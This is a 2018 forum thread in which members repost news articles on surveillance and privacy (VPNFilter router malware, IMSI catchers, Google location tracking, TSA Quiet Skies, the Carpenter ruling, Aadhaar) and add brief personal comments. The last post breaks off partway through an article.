In December 2017, Facebook's former vice-president of user growth Chamath Palihapitiya confessed to his "tremendous guilt" over creating "tools that are ripping apart the social fabric of how society works."

His comments followed former Facebook president Sean Parker, who the previous month criticised the site's lack of social responsibility, arguing that from the beginning it exploited "a vulnerability in human psychology" adding "God only knows what it’s doing to our children’s brains."

https://www.esquire.com/uk/latest-news/a16571021/center-for-humane-technology-social-media-former-employee-fightback/
Title: Re: they know what you are doing
Post by: Ellirium113 on May 24, 2018, 03:05:11 pm
How Ex-Facebook And Google Employees Are Uniting To Battle The Monsters They Created

https://www.esquire.com/uk/latest-news/a16571021/center-for-humane-technology-social-media-former-employee-fightback/

Reminds me of an old Star Trek episode where a super-addictive game was used as a weapon to control the crew...

https://www.youtube.com/watch?v=ilIhdTG_UmQ
Title: Re: they know what you are doing
Post by: space otter on May 31, 2018, 06:13:59 pm


well i don't know how serious this is but thought someone here would chime in and let us know

https://www.msn.com/en-us/news/technology/the-fbi-says-you-should-reboot-your-router-should-you/ar-AAy3hIP?li=BBnb7Kz

The FBI says you should reboot your router. Should you?
Rick Broida  11 hrs ago
Last Friday, the FBI issued a report recommending that everyone reboot their routers. The reason? "Foreign cyber actors have compromised hundreds of thousands of home and office routers and other networked devices worldwide."

That's a pretty alarming PSA, but also a somewhat vague one. How do you know if your router is infected? What can you do to keep malware away from it? And, perhaps most important of all, can a simple reboot really eliminate the threat?

What's the threat?
The FBI's recommendation comes on the heels of a newly discovered malware threat called VPNFilter, which has infected over half a million routers and network devices, according to researchers from Cisco's Talos Intelligence Group.

VPNFilter is "able to render small office and home office routers inoperable," the FBI stated. "The malware can potentially also collect information passing through the router."

Who distributed VPNFilter, and to what end? The Justice Department believes that Russian hackers, working under the name Sofacy Group, was using the malware to control infected devices.

How do you know if you're infected?
Unfortunately, there's no easy way to tell if your router has been compromised by VPNFilter. The FBI notes only that "the malware targets routers produced by several manufacturers and network-attached storage devices by at least one manufacturer."

Those manufacturers are as follows: Linksys, Mikrotik, Netgear, QNAP and TP-Link. However, Cisco's report states that only a small number of models — just over a dozen in total — from those manufacturers are known to have been affected by the malware, and they're mostly older ones:

Linksys: E1200, E2500, WRVS4400N

Mikrotik: 1016, 1036, 1072

Netgear: DGN2200, R6400, R7000, R8000, WNR1000, WNR2000

QNAP: TS251, S439 Pro, other QNAP NAS devices running QTS software

TP-Link: R600VPN

Consequently, there's a fairly small chance you're operating an infected router. Of course, you can never be too careful, so let's talk about ways to fix the problem and, hopefully, avoid it going forward.

Will a reboot really work?

It definitely can't hurt. Rebooting — or power-cycling — your router is a harmless procedure, and in fact is often among the first troubleshooting steps when you're having network or connectivity issues. If you've ever been on a tech-support call because of an internet problem, you've probably been advised to do exactly that.

However, according this Krebs on Security post, which cites the aforementioned Cisco report, rebooting alone won't do the trick: "Part of the code used by VPNFilter can still persist until the affected device is reset to its factory-default settings."

So is it possible the FBI misinterpreted the "reset" recommendation as "reboot"? Perhaps, but the bottom line is that a factory-reset is the only sure-fire way to purge VPNFilter from a router.

The good news: It's a pretty easy process, usually requiring little more than holding down a reset button on the router itself. The bad news: When it's done, you'll have to reconfigure all your network settings. Check your model's instruction manual for help with both steps.

What other steps should you take?
We reached out to a couple of the aforementioned manufacturers to solicit their advice for combating VPNFilter. Linksys responded first, noting that VPNFilter is "proliferating itself using known vulnerabilities in older versions of router firmware (that customers haven't updated) as well as utilizing common default credentials."

Its advice: Apply the latest firmware (something that happens automatically in Linksys' newer routers) and then perform a factory reset. Linksys also recommends changing the default password.

That's our advice as well. By keeping your router patched with the latest firmware and using a unique password (rather than the one provided out of the box), you should be able to keep ahead of VPNFilter and other kinds of router-targeting malware.

Update: According to the FBI's PSA regarding VPNFilter, the reboot recommendation is not intended to remove the malware, but rather to "temporarily disrupt (it) and aid the potential identification of infected devices." In other words, the FBI is enlisting you in a search-and-destroy operation. Needless to say, we recommend the aforementioned firmware update and factory reset if you own one of the affected router models.

 
Title: Re: they know what you are doing
Post by: zorgon on June 01, 2018, 02:10:13 am
VPNFILTER MALWARE AFFECTS 500,000 ROUTERS ACROSS THE WORLD
by ASHWIN
MAY 24, 2018


Quote
Networking giant CISCO has identified a new threat called the VPNFilter malware, that has affected over 500,000 routers across the World. The list of affected devices include those which were made by Netgear, TP-Link, Linksys, MicroTik, QNAP network-attached storage devices.

The malware is found to be similar to the BlackEnergy malware which targeted routers in Ukraine networks. But it does go beyond too, and is now believed to affect users in 54 Countries. Cisco alleges that this malware could be a state-sponsored one, or at least staged by someone affiliated with the state. Alarmingly, this malware has been active since 2016, and has slowly been spreading across the World.

Normally, when such a malware is released in the wild, there is a simple fix. All you need to do is reboot the router, by powering it off and back. But that method will have no such impact on this new malware. Basically, it is capable of surviving router reboots, in what is referred to as stage one.

And it gets worse. In Stage 2, it can be used for file collection, command execution, data exfiltration and device management. The research also indicates that the VPNFilter malware is a destructive one, in that it can brick a device, i.e., kill a router completely. This in turn can shut down the network for hundreds of thousands of users worldwide. A third stage exists where the malware can collect website login credentials, and for monitoring of Modbus SCADA protocols.

The third stage in fact is dependent on stage 2, and is kind of like a plugin which the malware creators could use for the above mentioned attacks. Talos‘ post mentions that they may discover more such plugins in the malware. The report also goes on to mention that infected devices ran TCP scans using the ports 23, 80, 2000 and 8080, in over 100 Countries. The motive remains unclear, although it is speculated that the malware is used as a data collection tool, and also for analyzing the worth of a targeted network.

It is not easy to protect your router from the VPNFilter malware, simply due to the nature of how people use it. Most routers are directly connected to the internet, with no security device to secure it from attacks. You could try rebooting it or resetting the device to factory default settings. Beyond that, the only thing to do is to wait for your router’s manufacturer to release a firmware update, to patch the security vulnerabilities in the device.

https://www.filecritic.com/vpnfilter-malware-affects-routers-world/

Title: Re: they know what you are doing
Post by: space otter on June 01, 2018, 05:37:53 pm

wow  it gets worser and worser...back to two can's and some string :-X


06/01/2018 03:32 pm ET Updated 4 hours ago
Google Employees Discuss Staging Protest Of Their Own Company
Some employees are disturbed about the potential applications of a project for the military.


By Rebecca Klein


Quote
A small group of Google employees, in response to a company contract with a Pentagon-backed program called Maven, have discussed the idea of staging a protest at a conference in July. Employees fear that the project, which provides artificial intelligence tools to the military, could be used in fatal drone strikes.

The protest, as discussed in preliminary exchanges over Google’s internal communications platform, would take place at a Google Cloud conference in San Francisco, according to messages obtained by HuffPost and an interview with an employee.

More than a dozen Google employees have resigned over the project, according to Gizmodo, and thousands of employees have signed a letter protesting it.

Now Google employees are debating showing resistance in a more active way, through a potential demonstration. 

Discussions regarding the possibility of a protest took place this week on an internal thread devoted to criticism of Maven. The thread, called “maven conscientious objectors,” includes hundreds of employees, but only a small percentage of those were active in the discussion.

The debate about staging a physical demonstration took place on Wednesday and Thursday and was started by a departing engineer. The employee called the project “the greatest ethical crises in technology of our generation” and suggested that “Maven protesters” go to the conference with the aim of “making some noise.”

The employee’s last day was Friday, but by late morning, someone from human resources had asked them to leave immediately due to their “recent statements” related to the conference. “As such, we’re going to move up your exit by a few hours and we’ve ended access, effective immediately,” the HR person wrote.

In response to the initial thread, another employee called the engineer an “agent provocateur.” Someone else said such an action would “be enough reason to fire us lot with popular support.”

The debate became heated and personal, with some employees questioning whether their colleague who originally suggested the idea of a physical protest should even belong in the “conscientious objectors” group.

But there were a few employees who supported the idea, calling the discussion “legitimate topics for this mailing list.” Another said that while they were not based in San Francisco and were thus unable to join the action, they personally thought the protest was “a good idea since it increases Google’s PR cost of getting involved in military projects.”

Representatives for Google did not respond to HuffPost’s request for comment. The Intercept reported Friday afternoon that Google will not renew its contract to work on Project Maven, though the company plans to work on the project through June 2019 and has not ruled out taking on similar work in the future.

This isn’t the first round of discord from Google employees. In an April petition to Google CEO Sundar Pichai protesting the Pentagon contract and signed by thousands, petitioners referenced “Don’t be evil,” Google’s famous former unofficial motto, as an argument for canceling the contract.

“This contract puts Google’s reputation at risk and stands in direct opposition to our core values. Building this technology to assist the US Government in military surveillance ― and potentially lethal outcomes ― is not acceptable,” the signers of the petition wrote.

Hundreds of academics subsequently wrote a letter to Google co-founder Larry Page, as well as Pichai and other company leaders, supporting the petitioning employees.

The academics expressed concern that Project Maven will help the military become “just a short step away from authorizing autonomous drones to kill automatically, without human supervision or meaningful human control.” The letter also cited recent Cambridge Analytica scandals as demonstrating “growing public concern over allowing the tech industries to wield so much power.”

At a recent companywide meeting, Sergey Brin, one of Google’s co-founders, reportedly responded to a question about the project and addressed some of the controversies, according to The New York Times. Brin explained that he thought it was better for the world’s militaries to be partnered with an international company like Google, rather than nationalistic defense contractors.

The employee who started the discussion about protesting Google’s involvement with Maven implied on the thread that they gave notice due to a violation of their own ethical standards.

“The time to protest is now or never,” the employee wrote.

Are you a Google employee who wants to talk about your experience with Maven? Email rebecca.klein@huffpost.com.

This story has been updated with information from The Intercept’s report.



......................................................


and if that isn't enough  how's this?...


https://www.msn.com/en-us/news/technology/signs-of-sophisticated-cellphone-spying-found-near-white-house-us-officials-say/ar-AAy65tD?li=BBnb7Kz

The Washington Post
Signs of sophisticated cellphone spying found near White House, U.S. officials say
Craig Timberg  6 hrs ago
A federal study found signs that surveillance devices for intercepting cellphone calls and texts were operating near the White House and other sensitive locations in the Washington area last year.

Quote
A Department of Homeland Security program discovered evidence of the surveillance devices, called IMSI catchers, as part of federal testing last year, according to a letter from DHS to Sen. Ron Wyden (D-Ore.) on May 22. The letter didn't specify what entity operated the devices and left open the possibility that there could be alternative explanations for the suspicious cellular signals collected by the federal testing program last year.

The discovery bolsters years of independent research suggesting that foreign intelligence agencies use sophisticated interception technology to spy on officials working within the hub of federal power in the nation’s capital. Experts in surveillance technology say that IMSI catchers — sometimes known by one popular brand name, StingRay — are a standard part of the tool kit for many foreign intelligence services, including for such geopolitical rivals as Russia and China.

A DHS spokesman confirmed the contents of the letter to Wyden but declined further comment.

"This admission from DHS bolsters my concern about stingrays and other spying devices being used to spy on Americans’ phones," Wyden said in a statement on Thursday. "Given the reports of rogue spying devices being identified near the White House and other government facilities, I fear that foreign intelligence services could target the president and other senior officials."

The DHS letter came in response to a meeting last month in which Wyden pushed for a more aggressive federal response to cellular system insecurity. IMSI catchers are widely used by local, state and federal police, as well as foreign intelligence agencies.

The devices work by simulating cell towers to trick nearby phones into connecting, allowing the IMSI catchers to collect calls, texts and data streams. Unlike some other forms of cellphone interception, IMSI catchers must be near targeted devices to work.

When they are in range, IMSI catchers also can deliver malicious software to targeted devices for the purpose of stealing information stored on them or conducting longer-term monitoring of communications.

The same May 22 letter revealed that DHS was aware of reports that a global cellular network messaging system, called SS7, was being used to spy on Americans through their cellphones. Such surveillance, which can intercept calls and locate cellphones from anywhere in the world, are sometimes used in conjunction with IMSI catchers.

ESD America, a defense and law enforcement technology contractor based in Las Vegas, has reported detecting IMSI catchers throughout the Washington area while conducting testing for private clients.

The company, which said it has federal contracts, declined to comment on work it has done for the U.S. government but said in a statement, “ESD America has several corporate and foreign government clients whom we have assisted in the detection of potential IMSI Catcher operation across many cities including Washington, D.C.”

In the tests that ESD conducted for private clients, which took place over the past three years, the company said it had detected signs of IMSI catchers near the White House, the FBI headquarters, the Senate, the Pentagon, the Russian Embassy and along the collection of other foreign embassies in an area known as Embassy Row in Northwest Washington.

The Washington area’s dense collection of U.S. officials and sensitive facilities makes it prime real estate for cellular interception, experts say.

“For any large intelligence agency, the United States, especially now, is a high-value target,” said Thomas Rid, a political-science professor at the Johns Hopkins School of Advanced International Studies. “They get paid to go after high-value targets. It’s their job. … It’s a complete no-brainer.”

The letter said DHS officials, during a pilot program last year, “did observe anomalous activity that appeared consistent with IMSI catcher technology” within the Washington area, including near the White House. It cautioned that DHS “has neither validated nor attributed such activity to specific entities, devices or purposes” and said that some of the suspicious signals may have been “emanating from legitimate cell towers.”

Experts on cellular interception say that various IMSI catchers have distinctive designs, making it clear from the resulting cellular signals and behavior whether they were made by U.S. companies or by manufacturers in other countries.

Civil liberties groups have long warned that IMSI catchers are used with few limits by U.S. authorities, who collect calls, texts and other data from innocent bystanders as they conduct surveillance on criminal suspects or other legitimate targets. Increasingly, though, critics have sought to portray the technology as posing threats to national security because foreign intelligence services use them on Americans, both while in the United States and abroad.

"This is a huge concern from a national security perspective," said Laura Moy, deputy director of Georgetown Law's Center on Privacy & Technology. "People have been warning for years … that these devices were used by foreign agents operating on American soil."

The surveillance devices are hard to counteract, although encrypted calling and messaging apps — such as Signal, WhatsApp or Apple's FaceTime — provide protection against IMSI catchers. Some experts advocate wider deployment of such encrypted communication tools within the U.S. government, along with a move away from traditional cellular calling and texting.

Wyden and others also have called on the Federal Communications Commission, which along with DHS oversees the security of U.S. cellular networks, to institute stronger protections against IMSI catchers, including possible technical fixes that cellular carriers or devicemakers could implement to resist surveillance.

The FCC said in response to questions about the discovery of IMSI catchers in Washington: "We continue to monitor reports of the use of IMSI devices and to coordinate closely with our counterparts at DHS, DOJ, and the FBI. The FCC strenuously enforces its rules against the unauthorized use of licensed radio spectrum and harmful interference with licensed users of the airwaves."

Correction: The IMSI testing that took place over three years was conducted by ESD America for private clients. A previous version of this story said incorrectly that DHS conducted the tests. DHS commissioned separate tests during 2017.

Title: Re: they know what you are doing
Post by: space otter on June 17, 2018, 07:14:05 am


this does not sound like privacy exists anymore anywhere  sigh





Investigators say DNA database can be goldmine for old cases
By:  JULIAN HATTEM, Associated Press
Updated: Jun 16, 2018 12:09 PM EDT


article here

http://www.wavy.com/ap-top-news/investigators-say-dna-database-can-be-goldmine-for-old-cases/1243203239

Title: Re: they know what you are doing
Post by: zorgon on June 17, 2018, 04:16:44 pm
Google has now decided to control what you do on your website...

They just this week in their latest upgrade to CHROME decided to stop ALL autoplay for audio and video...

The intent (they claim) is to stop those annoying autoplay advertisements that everyone hates and the news service videos that play on the side while your trying to read and artcle..

But it also stops all websites (like my Medieval Page) from loading music as part of the artistic presentation and it is causing problems for online games as well

Google says that if a visitor engages the website  ie clicks on another page, that the person is obviously liking that page and blocking will stop... However that is NOT happening  and even when you manual start the player, using the back button blocks it again

There is NO OPTION for user settings to allow the content

Do I need the music?  No I do not BUT a lot of the sound effects on that page are a key part of the presentation...  Do you watch a movie with the sound turned off?


But here is the REAL problem.. Google has decided which websites are automatically WHITE LISTED  Guess what?  The sites they white list (all their own of course :P ) are the very news services like CNN and Fox that are the worst offenders of the autoplay ads and news feeds  so the only one getting affected by this is the Little People

https://techcrunch.com/2018/04/18/google-chrome-now-mutes-annoying-videos-that-autoplay-with-sound/

Title: Re: they know what you are doing
Post by: ArMaP on June 17, 2018, 05:35:42 pm
Autoplay is very annoying, but not giving the possibility of turning it on or off is equally annoying.
Title: Re: they know what you are doing
Post by: space otter on June 22, 2018, 02:22:42 pm


maybe privacy has caught a break....maybe not  ::)


Reuters
U.S. top court rules warrants required for cellphone location data
Lawrence Hurley  2 hrs ago

Video by MSNBC

Quote
WASHINGTON - The U.S. Supreme Court on Friday imposed limits on the ability of police to obtain cellphone data pinpointing the past location of criminal suspects in a major victory for digital privacy advocates and a setback for law enforcement authorities.

In the 5-4 ruling, the court said police generally need a court-approved warrant to get the data, setting a higher legal hurdle than previously existed under federal law. The court said obtaining such data without a warrant from wireless carriers, as police routinely do, amounted to an unreasonable search and seizure under the U.S. Constitution's Fourth Amendment.

In the ruling written by conservative Chief Justice John Roberts, the court decided in favor of Timothy Carpenter, who was convicted in several armed robberies at Radio Shack and T-Mobile stores in Ohio and Michigan with the help of past cellphone location data that linked him to the crime scenes.

Roberts stressed that the ruling did not resolve other hot-button digital privacy fights, including whether police need warrants to access real-time cellphone location information to track criminal suspects. The ruling has no bearing on "traditional surveillance techniques" such as security cameras or on data collection for national security purposes, he added.

Roberts was joined by the court's four liberal justices in the majority. The court's other four conservatives dissented.

Although the ruling explicitly concerned only historical cellphone data, digital privacy advocates are hopeful it will set the tone for future cases on other emerging legal issues prompted by new technology.

"Today's decision rightly recognizes the need to protect the highly sensitive location data from our cellphones, but it also provides a path forward for safeguarding other sensitive digital information in future cases - from our emails, smart home appliances and technology that is yet to be invented," said American Civil Liberties Union lawyer Nate Wessler, who represents Carpenter.

"We decline to grant the state unrestricted access to a wireless carrier's database of physical location information," Roberts said.

Roberts said the ruling still allows police to avoid obtaining warrants for other types of business records. Police could also avoid obtaining warrants in emergency situations, Roberts added.

The high court endorsed the arguments made by Carpenter's lawyers, who said that police needed "probable cause," and therefore a warrant, to avoid a Fourth Amendment violation.

Police helped establish that Carpenter was near the scene of the robberies by securing from his cellphone carrier his past "cell site location information" that tracks which cellphone towers relay calls. His bid to suppress the evidence failed and he was convicted of six robbery counts.

The big four wireless carriers - Verizon Communications Inc, AT&T Inc, T-Mobile US Inc and Sprint Corp - receive tens of thousands of such requests annually from law enforcement.

Carpenter's case will now return to lower courts. His conviction may not be overturned because other evidence also linked him to the crimes.

'BIG BROTHER'

The case underscored the rising concerns among privacy advocates about the government's ability to obtain an ever-growing amount of personal data. During arguments in the case in December, liberal Justice Sonia Sotomayor, who joined Roberts in the ruling, alluded to fears of "Big Brother," the all-seeing leader in George Orwell's dystopian novel "1984."

Conservative Justice Samuel Alito, a former prosecutor, said in a dissenting opinion that the ruling could do "far more harm than good."

The decision "guarantees a blizzard of litigation while threatening many legitimate and valuable investigative practices upon which law enforcement has rightfully come to rely," Alito added. Alito also said the ruling does not address "some of the greatest threats to individual privacy" that may come from data collection by private companies.

It was the third ruling in recent years in which the court has resolved major cases on how criminal law applies to new technology, each time ruling against law enforcement. In 2014, it required police in most instances to obtain a warrant to search a cellphone's contents when its user is arrested. In 2012, it decided a warrant is needed to place a GPS tracking device on a vehicle.

The U.S. Justice Department argued that probable cause should not be required to obtain customer records under a 1986 federal law. Instead, it argued for a lower standard: that prosecutors show only that "reasonable grounds" exist for the records and they are "relevant and material" to an investigation.

Roberts said the government's argument "fails to contend with the seismic shifts in digital technology that made possible the tracking of not only Carpenter's location but also everyone else's."

A Justice Department spokeswoman declined to comment.

There has been rising concern over the surveillance practices of law enforcement and intelligence agencies, and whether companies like wireless carriers care about customer privacy rights.

Various tech firms, including Alphabet Inc's Google and Microsoft Corp, joined a brief in the Carpenter case urging the court to adopt strong privacy protections.

https://www.msn.com/en-us/news/us/us-top-court-rules-warrants-required-for-cellphone-location-data/ar-AAz0MJO?li=BBnb7Kz
Title: Re: they know what you are doing
Post by: micjer on June 25, 2018, 06:02:43 am
Your smartphone can be tracked even if GPS, location services are turned off


According to Princeton researchers, the smartphone user wouldn't even know their phone was being tracked.

https://www.techrepublic.com/article/your-smartphone-can-be-tracked-even-if-gps-location-services-are-turned-off/


The only way to get around this was to take the battery out of your phone.

Well I just got a new blackberry.  You cannot take the battery out of it. (without damaging something)  It is glued in so you have to pry it out.  
Title: Re: they know what you are doing
Post by: Irene on June 25, 2018, 09:18:34 am
Your smartphone can be tracked even if GPS, location services are turned off

According to Princeton researchers, the smartphone user wouldn't even know their phone was being tracked.

https://www.techrepublic.com/article/your-smartphone-can-be-tracked-even-if-gps-location-services-are-turned-off/ (https://www.techrepublic.com/article/your-smartphone-can-be-tracked-even-if-gps-location-services-are-turned-off/)

The only way to get around this was to take the battery out of your phone.

Well I just got a new blackberry.  You cannot take the battery out of it. (without damaging something)  It is glued in so you have to pry it out.
Hi Mic,

I guess we all pretty much knew this already.

Good reminder that we are under The Big Eye at all times. 👍
Irene  :)
Title: Re: they know what you are doing
Post by: space otter on July 29, 2018, 06:19:00 pm

have you ever felt you were being watched/ followed?  yikes !!!


https://www.msn.com/en-us/news/us/air-marshals-have-conducted-secret-in-flight-monitoring-of-us-passengers-for-years/ar-BBLeKPO?li=BBnb7Kz

The Washington Post
Air marshals have conducted secret in-flight monitoring of U.S. passengers for years
Missy Ryan, Ashley Halsey  44 mins ago


Quote
Federal air marshals have for years been quietly monitoring small numbers of U.S. air passengers and reporting on in-flight behavior considered suspicious, even if those individuals have no known terrorism links, the Transportation Security Administration said on Sunday.

Under a sensitive, previously undisclosed program called “Quiet Skies,” the TSA has since 2010 tasked marshals to identify passengers who raise flags because of travel histories or other factors and conduct secret observations of their actions — including behavior as common as sweating heavily or using the restroom repeatedly — as they fly between U.S. destinations.

The Boston Globe first revealed the existence of the Quiet Skies program on Sunday. In response to questions, TSA spokesman James O. Gregory offered more details of the program’s origins and goals, comparing it to other law enforcement activities that ask officers to closely monitor individuals or areas vulnerable to crime.

“We are no different than the cop on the corner who is placed there because there is an increased possibility that something might happen,” Gregory said. “When you’re in a tube at 30,000 feet . . . it makes sense to put someone there.”

The TSA declined to provide complete information on how individuals are selected for Quiet Skies and how the program works.

According to the TSA, the program used travel records and other factors to identify passengers who will be subject to additional checks at airports and, sometimes, be observed in flight by air marshals who report on their activities to the agency.

The initiative raises new questions about the privacy of ordinary Americans as they go about routine travel within the United States and about the broad net cast by law enforcement as it seeks to keep air travel safe.

Gregory said the program did not single out passengers based on race or religion and should not be considered surveillance because the agency does not, for example, listen to passengers’ calls or follow flagged individuals around airports.

But during in-flight observation of people who are tagged as Quiet Skies passengers, marshals use an agency checklist to record passenger behavior: Did he or she sleep during the flight? Did he or she use a cellphone? Look around erratically?

“The program analyzes information on a passenger’s travel patterns while taking the whole picture into account,” Gregory said, adding “an additional line of defense to aviation security.”

“If that person does all that stuff, and the airplane lands safely and they move on, the behavior will be noted, but they will not be approached or apprehended,” Gregory said.

He declined to say whether the program has resulted in arrests or disruption of any criminal plots.

Hugh Handeyside, senior staff attorney with the American Civil Liberties Union’s National Security Project, called on the TSA to provide more information about the program to passengers.

“Such surveillance not only makes no sense, it is a big waste of taxpayer money and raises a number of constitutional questions,” he said. “These concerns and the need for transparency are all the more acute because of TSA’s track record of using unreliable and unscientific techniques to screen and monitor travelers who have done nothing wrong.”

The TSA, which was created soon after the Sept. 11, 2001 terrorist attacks, screens on average more than 2 million passengers a day.

While the agency is tasked with a weighty public safety mission, it has at times been publicly rebuked for being intrusive and abusive at airport checkpoints. It has been accused of doing little to enhance security while subjecting passengers to searches or questioning.

In 2015, the Department of Homeland Security’s inspector general found that undercover agents were able to slip fake bombs past TSA screeners about 95 percent of the time. A year later, the flying public was in an uproar over long lines to move through security screening.

But TSA officials have said that ensuring public safety while keeping passengers moving has made their work difficult.

“We have a no-fail mission,” former TSA administrator Peter Neffinger told members of Congress in 2015.

The agency has also been criticized for its treatment of Muslims and other minorities who have complained of being profiled while traveling.

Earlier this year, media reports revealed that the agency had compiled a secret list of unruly passengers.

Passengers may be selected for Quiet Skies screening because of their affiliation with someone on the government’s no-fly list or other government databases aimed at preventing terrorist attacks.

“This program raises a whole host of civil liberties and profiling concerns,” said Faiza Patel, co-director of the New York University School of Law’s Brennan Center for Justice.

Critics say the TSA’s databases are overly broad and include outdated and erroneous information.

The no-fly list, for example, grew from about 16 people in September 2001 to 64,000 people in 2014.

But Patel, an attorney, said that law enforcement officials are generally free to surveil individuals as long as they do not do so based on criteria such as ethnicity.
Title: Re: they know what you are doing
Post by: Irene on July 29, 2018, 06:37:30 pm
I'm sorry. This is incredibly funny to me. I'm fat and I drink a lot of tea, so I get overheated when everyone else is freezing and I use the bathroom a lot, although not on airplanes.

I guess I'm a terrorist.

Then there are the spot security checks of the TSA types. They routinely fail to find dummy guns and bombs, and even real guns.

And, in 1997, my sister and I did a horseback trip, Bisbee to Tombstone, so we were dressed for the saddle the whole time in Arizona.

Flying out, these geniuses swabbed our bags for bombs. I offered to open mine right before they did it and they freaked out like I was going to blow them to Kingdom Come.

I near peed my pants at the comedy show.

This really is a joke to me. Most people don't know their ass from a gopher hole when it comes to human behavior.
Title: Re: they know what you are doing
Post by: Shasta56 on July 30, 2018, 12:30:28 am
I don't even know what I'm doing sometimes.  I know I suffered through the Blood Moon eclipse.  I had my first experience treating a gunshot wound.  I got mooned twice, cause the guy got shot in the ass.
Title: Re: they know what you are doing
Post by: The Seeker on July 30, 2018, 11:12:26 am
Over the last 8 years I have flown close to a 100 times, traveling around the country for the company I worked for, and the amount of bullshit I had to endure varied from one airport to the next; I have a lot of metal in my body, which tends to put their scanner on tilt, so I have run the gamut from being patted down, hand wanded, and in 2 cases strip searched.

I would just about guarantee that the air marshal on a lot of those flights was informed of my seat number so they could give me the hairy eyeball...

Sorry I had to disappoint them  :P
Title: Re: they know what you are doing
Post by: space otter on August 06, 2018, 09:13:08 pm

https://qz.com/1349446/facebook-wants-your-banking-information-too/

Facebook wants your banking information, too
By Hanna KozlowskaAugust 6, 2018

Quote
Facebook would like to peek into your bank account.

The social network approached several major US banks to let customers access their account balances or get fraud alerts on Messenger, the Wall Street Journal reported today (Aug.6). This would mean that detailed customer information, including credit card purchases, would be shared with the tech platform.

Over the past year, as it was facing a storm of criticism over privacy issues, the company asked banks like JPMorgan Chase and Citigroup to discuss cooperation, according to the Journal.

Big US banks were hesitant and had privacy concerns over sharing customer data with Facebook, the Journal reported. But in other countries, banks haven’t had the same qualms. In Singapore, Citigroup already offers a Messenger bot that lets you check your
account balance, for example. A South African bank recently introduced a feature that allows users to check their account balance on WhatsApp, which Facebook owns.

“Facebook has told banks that the additional customer information could be used to offer services that might entice users to spend more time on Messenger, a person familiar with the discussions said,” the Journal wrote.

Facebook told Quartz that it disagrees the Wall Street Journal’s characterization of its talks with the banks, and pointed out that it already offers similar services in the US, with PayPal and American Express. An Amex bot, in fact, can track your purchases, and allows you to check your balance.

Facebook says that a “critical part” of these partnerships is to keep
“people’s information safe and secure.” But when a platform is built on amassing user data and using it for advertising purposes, it’s only natural for questions of exploitation and privacy—particularly after the Cambridge Analytica scandal—to arise.

“A recent WSJ story implies incorrectly that we are actively asking financial services companies for financial transaction data—this is not true. Like many online companies with commerce businesses, we partner with banks and credit card companies to offer services like customer chat or account management,” the company said in a statement. “Account linking,” as Facebook calls it, lets users get keep track of transactions, balances, or shipping updates on Messenger, and it’s an opt-in feature, it added.

A spokesperson for Facebook clarified that the company specifically disputes any suggestion that it asked for data, or that it would use it for anything else—like advertising—than just the experience on Messenger. However, the financial information would have to pass through Facebook’s servers, the company confirmed.

The financial services industry is worried about competition from tech companies, which keep introducing new ways of making payments through their platforms, Quartz reported last year. Barclays CEO Jes Staley said that banks likely have the “richest data pool” of all sectors, and they should learn how to use it themselves to help fend off the ambitions of Silicon Valley. If platforms like Facebook have control of payment systems they will know “every single thing you do,” Robert Kapito, president of the asset manager BlackRock, said during a banking conference.




Title: Re: they know what you are doing
Post by: space otter on August 14, 2018, 10:19:39 am

as much as i dislike social media bs  when they get rid of it all - then i will be worried

https://www.bbc.com/news/technology-45183041

Google tracks users who turn off location history
By Jane Wakefield
Technology reporter
4 hours ago


Quote
The study found that users had to turn off another setting in order to disable location being recorded

Google records users' locations even when they have asked it not to, a report from the Associated Press has suggested.

The issue could affect up to two billion Android and Apple devices which use Google for maps or search.

The study, verified by researchers at Princeton University, has angered US law-makers.

Google said in response that it provides clear descriptions of its tools and how to turn them off.

The study found that users' whereabouts are recorded even when location history has been disabled.

For example:

Google stores a snapshot of where you are when you open the Maps app
Automatic weather updates on Android phones pinpoint roughly where a user is
Searches that have nothing to do with location pinpoint precise longitude and latitude of users
'Pretty sneaky'
To illustrate the effect of these location markers, AP created a visual map showing the movements of Princeton researcher Gunes Acar who was using an Android phone with location history turned off.

The map showed his train commute around New York as well as visits to The High Line park, Chelsea Market, Hell's Kitchen, Central Park and Harlem. It also revealed his home address.

To stop Google saving these location markers, users have to turn off another setting called Web and App Activity, which is enabled by default and which does not mention location data.

Disabling this prevents Google storing information generated by searches and other activities which can limit the effectiveness of its digital assistant.

"You would think that telling Google that you didn't want your location to be tracked by disabling an option called "Location History" would stop the internet giant from storing data about your location," writes security researcher Graham Cluley on his blog.

"It seems pretty sneaky to me that Google continues to store location data, unless you both disable "Location history" and "Web & App Activity.""

In response, Google told AP: "There are a number of different ways that Google may use location to improve people's experience, including: Location History, Web and App Activity, and through device-level Location Services.

"We provide clear descriptions of these tools, and robust controls so people can turn them on or off, and delete their histories at any time."

Corporate practices
Facebook and Google use 'dark patterns' in privacy settings
Google and Facebook accused of breaking GDPR laws
Gmail messages 'read by human third parties'
Following its research, AP created a guide to show users how to delete location data.

Presented with the evidence of the AP study, Democratic senator Mark Warner accused technology companies of having "corporate practices that diverge wildly from the totally reasonable expectation of their users".

Democratic congressman Frank Pallone called for "comprehensive consumer privacy and data security legislation".

In the UK, a spokesman for the Information Commissioner's Office told the BBC: "Under the GDPR and the Data Protection Act 2018, organisations have a legal duty to be open, transparent and fair with the public about how their personal data is used.

"Anybody who has concerns about how an organisation is handling their personal information can contact the ICO."

Technology firms are under fire for not being clear about privacy settings and how to use them. In June, a report from the Norwegian Consumer Council found evidence that privacy-friendly options are hidden away or obscured.

Location-based advertising offers big opportunities to marketers. According to research firm BIA/Kelsey, US brands are poised to spend up to $20.6bn (£16.3bn) on targeted mobile ads in 2018.

Since 2014, Google has let advertisers track the effectiveness of online adverts with a feature based on footfall data, which relies on location history.

Title: Re: they know what you are doing
Post by: Pimander on August 15, 2018, 03:25:25 pm
I noticed Google maps finding my location whenever I search for a place.   If often returns a map showing the place AND my location so it knows where you are whenever you search for a place using Google.  That is different to recording it but...

If you want to search and not reveal your location then use this TAILS.

https://tails.boum.org/
Title: Re: they know what you are doing
Post by: space otter on August 25, 2018, 04:30:37 pm

08/25/2018 08:01 am ET
India’s Biometric Database Is Creating A Perfect Surveillance State — And U.S. Tech Companies Are On Board

Quote
The Aadhaar program offers a glimpse of the tech world’s latest quest to control our lives, where dystopias are created in the name of helping the impoverished.
By Paul Blumenthal and Gopal Sathe

Quote
Big U.S. technology companies are involved in the construction of one of the most intrusive citizen surveillance programs in history.

For the past nine years, India has been building the world’s biggest biometric database by collecting the fingerprints, iris scans and photos of nearly 1.3 billion people. For U.S. tech companies like Microsoft, Amazon and Facebook, the project, called Aadhaar (which means “proof” or “basis” in Hindi), could be a gold mine.

